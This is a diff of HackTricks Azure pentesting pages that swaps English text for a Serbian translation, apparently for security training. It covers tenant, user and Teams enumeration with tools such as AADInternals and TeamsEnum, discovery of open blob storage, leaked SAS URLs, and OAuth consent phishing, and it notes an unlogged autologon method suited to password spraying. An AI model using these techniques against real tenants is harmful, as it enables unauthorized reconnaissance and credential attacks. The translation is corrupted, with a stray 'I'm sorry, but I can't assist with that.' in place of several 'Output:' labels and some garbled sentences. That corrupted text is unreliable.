az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
|
||||
@@ -379,10 +346,8 @@ az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <V
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
@@ -393,23 +358,21 @@ Get-AzVirtualNetwork
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
Get-AzFirewall
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Site-to-Site VPN
|
||||
|
||||
A Site-to-Site VPN in Azure allows you to **connect your on-premises network to your Azure Virtual Network (VNet)**, enabling resources such as VMs within Azure to appear as if they are on your local network. This connection is established through a **VPN gateway that encrypts traffic** between the two networks.
|
||||
Site-to-Site VPN u Azure-u omogućava vam da **povežete vašu lokalnu mrežu sa vašom Azure Virtual Network (VNet)**, omogućavajući resursima kao što su VM-ovi unutar Azure-a da izgledaju kao da su na vašoj lokalnoj mreži. Ova veza se uspostavlja putem **VPN gateway-a koji enkriptuje saobraćaj** između dve mreže.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
A business with its main office located in New York has an on-premises data center that needs to connect securely to its VNet in Azure, which hosts its virtualized workloads. By setting up a **Site-to-Site VPN, the company can ensure encrypted connectivity between the on-premises servers and the Azure VMs**, allowing for resources to be accessed securely across both environments as if they were in the same local network.
|
||||
Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojom VNet u Azure-u, koja hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -417,10 +380,8 @@ az network vnet-gateway list --query "[].{name:name, location:location, resource
|
||||
# List VPN Connections
|
||||
az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
@@ -428,41 +389,32 @@ Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
# List VPN Connections
|
||||
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute is a service that provides a **private, dedicated, high-speed connection between your on-premises infrastructure and Azure data centers**. This connection is made through a connectivity provider, bypassing the public internet and offering more reliability, faster speeds, lower latencies, and higher security than typical internet connections.
|
||||
Azure ExpressRoute je usluga koja pruža **privatnu, posvećenu, visok brzu vezu između vaše lokalne infrastrukture i Azure data centara**. Ova veza se uspostavlja putem provajdera povezivanja, zaobilazeći javni internet i nudeći veću pouzdanost, brže brzine, niže latencije i veću sigurnost od tipičnih internet veza.
|
||||
|
||||
**Example:**
|
||||
**Primer:**
|
||||
|
||||
A multinational corporation requires a **consistent and reliable connection to its Azure services due to the high volume of data** and the need for high throughput. The company opts for Azure ExpressRoute to directly connect its on-premises data center to Azure, facilitating large-scale data transfers, such as daily backups and real-time data analytics, with enhanced privacy and speed.
|
||||
Višenacionalna korporacija zahteva **doslednu i pouzdanu vezu sa svojim Azure uslugama zbog velikog obima podataka** i potrebe za visokim protokom. Kompanija se odlučuje za Azure ExpressRoute kako bi direktno povezala svoj lokalni data centar sa Azure-om, olakšavajući velike transfere podataka, kao što su dnevni backup-i i analitika podataka u realnom vremenu, uz poboljšanu privatnost i brzinu.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,29 +1,26 @@
|
||||
# Az - Unauthenticated Enum & Initial Entry
|
||||
# Az - Neautentifikovana Enum & Početni Ulaz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Tenant
|
||||
## Azure Tenants
|
||||
|
||||
### Tenant Enumeration
|
||||
### Enumeracija Tenanta
|
||||
|
||||
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
|
||||
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
Postoje neki **javne Azure API** koje, samo znajući **domen tenanta**, napadač može da upita kako bi prikupio više informacija o njemu.\
|
||||
Možete direktno upitati API ili koristiti PowerShell biblioteku [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Information | AADInternals function |
|
||||
| API | Informacije | AADInternals funkcija |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
|
||||
| login.microsoftonline.com/\<domen>/.well-known/openid-configuration | **Informacije o prijavi**, uključujući ID tenanta | `Get-AADIntTenantID -Domain <domen>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Svi domeni** tenanta | `Get-AADIntTenantDomains -Domain <domen>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<KorisničkoIme> | <p><strong>Informacije o prijavi</strong> tenanta, uključujući ime tenanta i domen <strong>tip autentifikacije.</strong><br>Ako je <code>NameSpaceType</code> <strong><code>Managed</code></strong>, to znači da se koristi <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <KorisničkoIme>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacije o prijavi, uključujući **Desktop SSO informacije** | `Get-AADIntLoginInformation -UserName <KorisničkoIme>` |
|
||||
|
||||
Možete upitati sve informacije o Azure tenant-u sa **samo jednom komandom** iz [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteke**:
|
||||
```powershell
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
|
||||
Output Example of the Azure tenant info:
|
||||
|
||||
Primer izlaza informacija o Azure tenant-u:
|
||||
```
|
||||
Tenant brand: Company Ltd
|
||||
Tenant name: company
|
||||
@@ -37,38 +34,30 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
Moguće je posmatrati detalje o imenu, ID-u i "brend" imenu zakupca. Pored toga, status Desktop Single Sign-On (SSO), poznat i kao [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), se prikazuje. Kada je omogućeno, ova funkcija olakšava određivanje prisutnosti (enumeraciju) određenog korisnika unutar ciljne organizacije.
|
||||
|
||||
It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.
|
||||
|
||||
Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.
|
||||
Štaviše, izlaz prikazuje imena svih verifikovanih domena povezanih sa ciljnim zakupcem, zajedno sa njihovim odgovarajućim tipovima identiteta. U slučaju federisanih domena, takođe se otkriva Fully Qualified Domain Name (FQDN) provajdera identiteta koji se koristi, obično ADFS server. Kolona "MX" specificira da li su e-mailovi usmereni na Exchange Online, dok kolona "SPF" označava listu Exchange Online kao pošiljaoca e-maila. Važno je napomenuti da trenutna funkcija izviđanja ne analizira "include" izjave unutar SPF zapisa, što može rezultirati lažnim negativnim rezultatima.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
|
||||
|
||||
Moguće je **proveriti da li korisničko ime postoji** unutar zakupca. Ovo uključuje i **goste korisnike**, čije je korisničko ime u formatu:
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
Email je korisnička adresa gde je “@” zamenjen sa donjom crtom “\_“.
|
||||
|
||||
The email is user’s email address where at “@” is replaced with underscore “\_“.
|
||||
|
||||
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
|
||||
|
||||
Sa [**AADInternals**](https://github.com/Gerenios/AADInternals), možete lako proveriti da li korisnik postoji ili ne:
|
||||
```powershell
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```
|
||||
UserName Exists
|
||||
-------- ------
|
||||
user@company.com True
|
||||
```
|
||||
|
||||
You can also use a text file containing one email address per row:
|
||||
|
||||
Možete takođe koristiti tekstualnu datoteku koja sadrži jednu adresu e-pošte po redu:
|
||||
```
|
||||
user@company.com
|
||||
user2@company.com
|
||||
@@ -82,131 +71,115 @@ external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
Postoje **tri različite metode enumeracije** koje možete izabrati:
|
||||
|
||||
There are **three different enumeration methods** to choose from:
|
||||
|
||||
| Method | Description |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
|
||||
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
|
||||
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
|
||||
|
||||
After discovering the valid usernames you can get **info about a user** with:
|
||||
| Metoda | Opis |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | Ovo se odnosi na GetCredentialType API pomenut iznad. Podrazumevana metoda. |
|
||||
| Login | <p>Ova metoda pokušava da se prijavi kao korisnik.<br><strong>Napomena:</strong> upiti će biti zabeleženi u logu prijavljivanja.</p> |
|
||||
| Autologon | <p>Ova metoda pokušava da se prijavi kao korisnik putem autologon krajnje tačke.<br><strong>Upiti nisu zabeleženi</strong> u logu prijavljivanja! Kao takva, dobro funkcioniše i za napade sa spray-ovanjem lozinki i brute-force napade.</p> |
|
||||
|
||||
Nakon otkrivanja validnih korisničkih imena možete dobiti **informacije o korisniku** sa:
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
|
||||
|
||||
Skripta [**o365creeper**](https://github.com/LMGsec/o365creeper) takođe vam omogućava da otkrijete **da li je email validan**.
|
||||
```powershell
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
```
|
||||
**Enumeracija korisnika putem Microsoft Teams-a**
|
||||
|
||||
**User Enumeration via Microsoft Teams**
|
||||
Još jedan dobar izvor informacija je Microsoft Teams.
|
||||
|
||||
Another good source of information is Microsoft Teams.
|
||||
API Microsoft Teams-a omogućava pretragu korisnika. Konkretno, "user search" krajnje tačke **externalsearchv3** i **searchUsers** mogu se koristiti za zahtev opštih informacija o korisničkim nalozima registrovanim u Teams-u.
|
||||
|
||||
The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts.
|
||||
|
||||
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
|
||||
|
||||
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
|
||||
U zavisnosti od API odgovora, moguće je razlikovati između nepostojećih korisnika i postojećih korisnika koji imaju važeću Teams pretplatu.
|
||||
|
||||
Skripta [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) može se koristiti za validaciju datog skupa korisničkih imena prema Teams API-ju.
|
||||
```bash
|
||||
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```
|
||||
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
|
||||
[+] user2@domain - User2 | Company (Away, Mobile)
|
||||
[+] user3@domain - User3 | Company (Available, Desktop)
|
||||
```
|
||||
Pored toga, moguće je enumerisati informacije o dostupnosti postojećih korisnika kao što su sledeće:
|
||||
|
||||
Furthermore it is possible to enumerate availability information about existing users like the following:
|
||||
|
||||
- Available
|
||||
- Away
|
||||
- DoNotDisturb
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
|
||||
- Dostupan
|
||||
- Odsutan
|
||||
- Ne uznemiravaj
|
||||
- Zauzet
|
||||
- Van mreže
|
||||
|
||||
Ako je **poruka van kancelarije** konfigurisana, takođe je moguće preuzeti poruku koristeći TeamsEnum. Ako je dat izlazni fajl, poruke van kancelarije se automatski čuvaju unutar JSON fajla:
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```json
|
||||
{
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Azure Services
|
||||
|
||||
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
|
||||
|
||||
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
|
||||
Sada kada znamo **domeni koje koristi Azure tenant**, vreme je da pokušamo da pronađemo **Azure usluge koje su izložene**.
|
||||
|
||||
Možete koristiti metodu iz [**MicroBust**](https://github.com/NetSPI/MicroBurst) za ovaj cilj. Ova funkcija će pretraživati osnovni naziv domena (i nekoliko permutacija) u nekoliko **azure servisnih domena:**
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
|
||||
## Open Storage
|
||||
|
||||
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
|
||||
|
||||
Možete otkriti otvorenu skladištenje pomoću alata kao što je [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) koji će koristiti datoteku **`Microburst/Misc/permitations.txt`** za generisanje permutacija (vrlo jednostavno) kako biste pokušali da **pronađete otvorene skladišne račune**.
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
@@ -218,21 +191,20 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
# Check: <Name>ssh_info.json</Name>
|
||||
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
|
||||
```
|
||||
### SAS URL-ovi
|
||||
|
||||
### SAS URLs
|
||||
|
||||
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
|
||||
_**Zajednički pristupni potpis**_ (SAS) URL je URL koji **omogućava pristup** određenom delu naloga za skladištenje (može biti ceo kontejner, datoteka...) sa određenim dozvolama (čitanje, pisanje...) nad resursima. Ako pronađete jedan otkriven, mogli biste imati pristup osetljivim informacijama, izgledaju ovako (ovo je za pristup kontejneru, ako je samo davalo pristup datoteci, putanja URL-a će takođe sadržati tu datoteku):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
|
||||
Koristite [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) za pristup podacima
|
||||
|
||||
## Compromise Credentials
|
||||
## Kompromitovane akreditive
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akreditive ili OAuth aplikacija -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing** za autentifikaciju putem uređaja](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
@@ -240,13 +212,9 @@ Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-ex
|
||||
az-password-spraying.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
|
||||
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
**Proveri:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,51 +4,46 @@
|
||||
|
||||
## OAuth App Phishing
|
||||
|
||||
**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.
|
||||
**Azure aplikacije** su konfigurisane sa dozvolama koje će moći da koriste kada korisnik da saglasnost aplikaciji (kao što su enumeracija direktorijuma, pristup datotekama ili obavljanje drugih radnji). Imajte na umu da aplikacija deluje u ime korisnika, tako da čak i ako aplikacija može tražiti administratorske dozvole, ako **korisnik koji daje saglasnost nema tu dozvolu**, aplikacija **neće moći da izvršava administratorske radnje**.
|
||||
|
||||
### App consent permissions
|
||||
### Dozvole za saglasnost aplikacije
|
||||
|
||||
By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
|
||||
Podrazumevano, svaki **korisnik može dati saglasnost aplikacijama**, iako se ovo može konfigurisati tako da korisnici mogu dati saglasnost samo za **aplikacije od verifikovanih izdavača za odabrane dozvole** ili čak **ukloniti dozvolu** korisnicima da daju saglasnost aplikacijama.
|
||||
|
||||
<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
|
||||
Ako korisnici ne mogu dati saglasnost, **administratori** kao što su `GA`, `Application Administrator` ili `Cloud Application` `Administrator` mogu **dati saglasnost aplikacijama** koje korisnici mogu koristiti.
|
||||
|
||||
Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.
|
||||
Pored toga, ako korisnici mogu dati saglasnost samo za aplikacije koje koriste **niskorizične** dozvole, ove dozvole su podrazumevano **openid**, **profile**, **email**, **User.Read** i **offline_access**, iako je moguće **dodati više** na ovu listu.
|
||||
|
||||
nd if they can consent to all apps, they can consent to all apps.
|
||||
Ako mogu dati saglasnost za sve aplikacije, mogu dati saglasnost za sve aplikacije.
|
||||
|
||||
### 2 Types of attacks
|
||||
### 2 Tipova napada
|
||||
|
||||
- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
|
||||
- This requires the phished user to be **able to accept OAuth apps from external tenant**
|
||||
- If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
|
||||
- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
|
||||
- In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
|
||||
- You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
|
||||
- **Neautentifikovani**: Iz spoljnog naloga kreirati aplikaciju sa **niskorizičnim dozvolama** `User.Read` i `User.ReadBasic.All`, na primer, phishing korisnika, i moći ćete da pristupite informacijama iz direktorijuma.
|
||||
- Ovo zahteva da phished korisnik bude **u mogućnosti da prihvati OAuth aplikacije iz spoljnog tenanta**.
|
||||
- Ako je phished korisnik neki administrator koji može **dati saglasnost bilo kojoj aplikaciji sa bilo kojim dozvolama**, aplikacija bi takođe mogla **tražiti privilegovane dozvole**.
|
||||
- **Autentifikovani**: Nakon što je kompromitovan glavni korisnik sa dovoljno privilegija, **kreirati aplikaciju unutar naloga** i **phish** nekog **privilegovanog** korisnika koji može prihvatiti privilegovane OAuth dozvole.
|
||||
- U ovom slučaju već možete pristupiti informacijama iz direktorijuma, tako da dozvola `User.ReadBasic.All` više nije zanimljiva.
|
||||
- Verovatno ste zainteresovani za **dozvole koje zahtevaju da ih administrator odobri**, jer običan korisnik ne može dati OAuth aplikacijama nikakvu dozvolu, zato treba da **phishujete samo te korisnike** (više o tome koje uloge/dozvole daju ovu privilegiju kasnije).
|
||||
|
||||
### Users are allowed to consent
|
||||
|
||||
Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
|
||||
### Korisnicima je dozvoljeno da daju saglasnost
|
||||
|
||||
Imajte na umu da morate izvršiti ovu komandu iz naloga unutar tenanta, ne možete pronaći ovu konfiguraciju tenanta iz spoljnog. Sledeći cli može vam pomoći da razumete dozvole korisnika:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
|
||||
```
|
||||
- Korisnici mogu da daju saglasnost za sve aplikacije: Ako unutar **`permissionGrantPoliciesAssigned`** pronađete: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` tada korisnici mogu da prihvate svaku aplikaciju.
|
||||
- Korisnici mogu da daju saglasnost za aplikacije od verifikovanih izdavača ili vaše organizacije, ali samo za dozvole koje odaberete: Ako unutar **`permissionGrantPoliciesAssigned`** pronađete: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` tada korisnici mogu da prihvate svaku aplikaciju.
|
||||
- **Onemogućite saglasnost korisnika**: Ako unutar **`permissionGrantPoliciesAssigned`** možete pronaći samo: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` i `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` tada korisnici ne mogu dati saglasnost.
|
||||
|
||||
- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
|
||||
- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
|
||||
